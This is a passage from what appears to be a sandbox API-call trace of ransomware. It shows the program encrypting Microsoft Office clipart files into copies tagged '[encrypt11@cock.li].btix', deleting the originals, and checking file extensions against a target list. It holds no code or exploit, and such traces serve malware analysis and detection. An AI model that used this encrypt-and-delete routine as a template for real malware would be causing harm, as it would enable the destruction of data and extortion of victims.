Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0154.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0154.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0154.633] lstrlenW (lpString=".doc") returned 4 [0154.633] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.633] lstrlenW (lpString=".docx") returned 5 [0154.633] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0154.633] lstrlenW (lpString=".pdf") returned 4 [0154.633] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.633] lstrlenW (lpString=".xls") returned 4 [0154.633] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.633] lstrlenW (lpString=".xlsx") returned 5 [0154.633] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0154.633] lstrlenW (lpString=".ppt") returned 4 [0154.633] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0154.633] lstrlenW (lpString=".zip") returned 4 [0154.634] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.634] lstrlenW (lpString=".rar") returned 4 [0154.634] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.634] lstrlenW (lpString=".bz2") returned 4 [0154.634] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.634] lstrlenW (lpString=".7z") returned 3 [0154.634] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0154.634] lstrlenW (lpString=".dbf") returned 4 [0154.634] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0154.634] lstrlenW (lpString=".1cd") returned 4 [0154.634] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0154.634] lstrlenW (lpString=".jpg") returned 4 [0154.634] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.637] GetLastError () returned 0x0 [0154.637] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xfd22, lpOverlapped=0x0) returned 1 [0154.655] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xfd30, lpOverlapped=0x0) returned 1 [0154.659] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.659] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.659] SetEndOfFile (hFile=0x368) returned 1 [0154.659] CloseHandle (hObject=0x368) returned 1 [0154.659] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.659] SetEndOfFile (hFile=0x38c) returned 1 [0154.660] CloseHandle (hObject=0x38c) returned 1 [0154.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0154.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0154.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0154.661] lstrlenW (lpString=".doc") returned 4 [0154.661] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.661] lstrlenW (lpString=".docx") returned 5 [0154.661] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0154.661] lstrlenW (lpString=".pdf") returned 4 [0154.661] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.661] lstrlenW (lpString=".xls") returned 4 [0154.661] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.661] lstrlenW (lpString=".xlsx") returned 5 [0154.661] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0154.661] lstrlenW (lpString=".ppt") returned 4 [0154.661] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0154.661] lstrlenW (lpString=".zip") returned 4 [0154.661] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.661] lstrlenW (lpString=".rar") returned 4 [0154.661] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.661] lstrlenW (lpString=".bz2") returned 4 [0154.661] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.661] lstrlenW (lpString=".7z") returned 3 [0154.662] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0154.662] lstrlenW (lpString=".dbf") returned 4 [0154.662] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0154.662] lstrlenW (lpString=".1cd") returned 4 [0154.662] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0154.662] lstrlenW (lpString=".jpg") returned 4 [0154.662] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.662] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.662] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.663] GetLastError () returned 0x0 [0154.663] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x212e, lpOverlapped=0x0) returned 1 [0154.679] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2130, lpOverlapped=0x0) returned 1 [0154.680] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.680] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.680] SetEndOfFile (hFile=0x368) returned 1 [0154.680] CloseHandle (hObject=0x368) returned 1 [0154.680] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.680] SetEndOfFile (hFile=0x38c) returned 1 [0154.681] CloseHandle (hObject=0x38c) returned 1 [0154.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0154.682] lstrlenW (lpString=".doc") returned 4 [0154.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.682] lstrlenW (lpString=".docx") returned 5 [0154.682] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0154.682] lstrlenW (lpString=".pdf") returned 4 [0154.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.682] lstrlenW (lpString=".xls") returned 4 [0154.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.682] lstrlenW (lpString=".xlsx") returned 5 [0154.682] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0154.682] lstrlenW (lpString=".ppt") returned 4 [0154.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0154.682] lstrlenW (lpString=".zip") returned 4 [0154.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.682] lstrlenW (lpString=".rar") returned 4 [0154.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.682] lstrlenW (lpString=".bz2") returned 4 [0154.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.682] lstrlenW (lpString=".7z") returned 3 [0154.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0154.682] lstrlenW (lpString=".dbf") returned 4 [0154.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0154.682] lstrlenW (lpString=".1cd") returned 4 [0154.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0154.682] lstrlenW (lpString=".jpg") returned 4 [0154.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.683] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.683] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.683] GetLastError () returned 0x0 [0154.683] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x4844, lpOverlapped=0x0) returned 1 [0154.849] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x4850, lpOverlapped=0x0) returned 1 [0154.850] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.850] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.850] SetEndOfFile (hFile=0x368) returned 1 [0154.850] CloseHandle (hObject=0x368) returned 1 [0154.851] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.851] SetEndOfFile (hFile=0x38c) returned 1 [0154.851] CloseHandle (hObject=0x38c) returned 1 [0154.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0154.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0154.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0154.852] lstrlenW (lpString=".doc") returned 4 [0154.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.852] lstrlenW (lpString=".docx") returned 5 [0154.852] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0154.852] lstrlenW (lpString=".pdf") returned 4 [0154.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.852] lstrlenW (lpString=".xls") returned 4 [0154.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.852] lstrlenW (lpString=".xlsx") returned 5 [0154.852] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0154.852] lstrlenW (lpString=".ppt") returned 4 [0154.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0154.852] lstrlenW (lpString=".zip") returned 4 [0154.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.853] lstrlenW (lpString=".rar") returned 4 [0154.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.853] lstrlenW (lpString=".bz2") returned 4 [0154.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.853] lstrlenW (lpString=".7z") returned 3 [0154.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0154.853] lstrlenW (lpString=".dbf") returned 4 [0154.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0154.853] lstrlenW (lpString=".1cd") returned 4 [0154.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0154.853] lstrlenW (lpString=".jpg") returned 4 [0154.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.854] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.854] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.854] GetLastError () returned 0x0 [0154.854] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3734, lpOverlapped=0x0) returned 1 [0154.869] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3740, lpOverlapped=0x0) returned 1 [0154.870] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.870] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.870] SetEndOfFile (hFile=0x368) returned 1 [0154.870] CloseHandle (hObject=0x368) returned 1 [0154.870] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.870] SetEndOfFile (hFile=0x38c) returned 1 [0154.871] CloseHandle (hObject=0x38c) returned 1 [0154.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0154.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0154.872] lstrlenW (lpString=".doc") returned 4 [0154.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.872] lstrlenW (lpString=".docx") returned 5 [0154.872] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.872] lstrlenW (lpString=".pdf") returned 4 [0154.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.872] lstrlenW (lpString=".xls") returned 4 [0154.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.872] lstrlenW (lpString=".xlsx") returned 5 [0154.872] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.872] lstrlenW (lpString=".ppt") returned 4 [0154.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0154.872] lstrlenW (lpString=".zip") returned 4 [0154.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.872] lstrlenW (lpString=".rar") returned 4 [0154.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.872] lstrlenW (lpString=".bz2") returned 4 [0154.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.872] lstrlenW (lpString=".7z") returned 3 [0154.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0154.872] lstrlenW (lpString=".dbf") returned 4 [0154.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0154.872] lstrlenW (lpString=".1cd") returned 4 [0154.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0154.872] lstrlenW (lpString=".jpg") returned 4 [0154.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.882] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.883] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.883] GetLastError () returned 0x0 [0154.883] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x4030, lpOverlapped=0x0) returned 1 [0154.889] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x4040, lpOverlapped=0x0) returned 1 [0154.890] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.890] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.890] SetEndOfFile (hFile=0x354) returned 1 [0154.890] CloseHandle (hObject=0x354) returned 1 [0154.890] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.891] SetEndOfFile (hFile=0x378) returned 1 [0154.891] CloseHandle (hObject=0x378) returned 1 [0154.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0154.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0154.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0154.892] lstrlenW (lpString=".doc") returned 4 [0154.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.892] lstrlenW (lpString=".docx") returned 5 [0154.892] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.892] lstrlenW (lpString=".pdf") returned 4 [0154.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.892] lstrlenW (lpString=".xls") returned 4 [0154.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.892] lstrlenW (lpString=".xlsx") returned 5 [0154.892] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.892] lstrlenW (lpString=".ppt") returned 4 [0154.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0154.892] lstrlenW (lpString=".zip") returned 4 [0154.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.892] lstrlenW (lpString=".rar") returned 4 [0154.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.893] lstrlenW (lpString=".bz2") returned 4 [0154.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.893] lstrlenW (lpString=".7z") returned 3 [0154.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0154.893] lstrlenW (lpString=".dbf") returned 4 [0154.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.893] lstrlenW (lpString="C:\\Program Files\\Microsoft 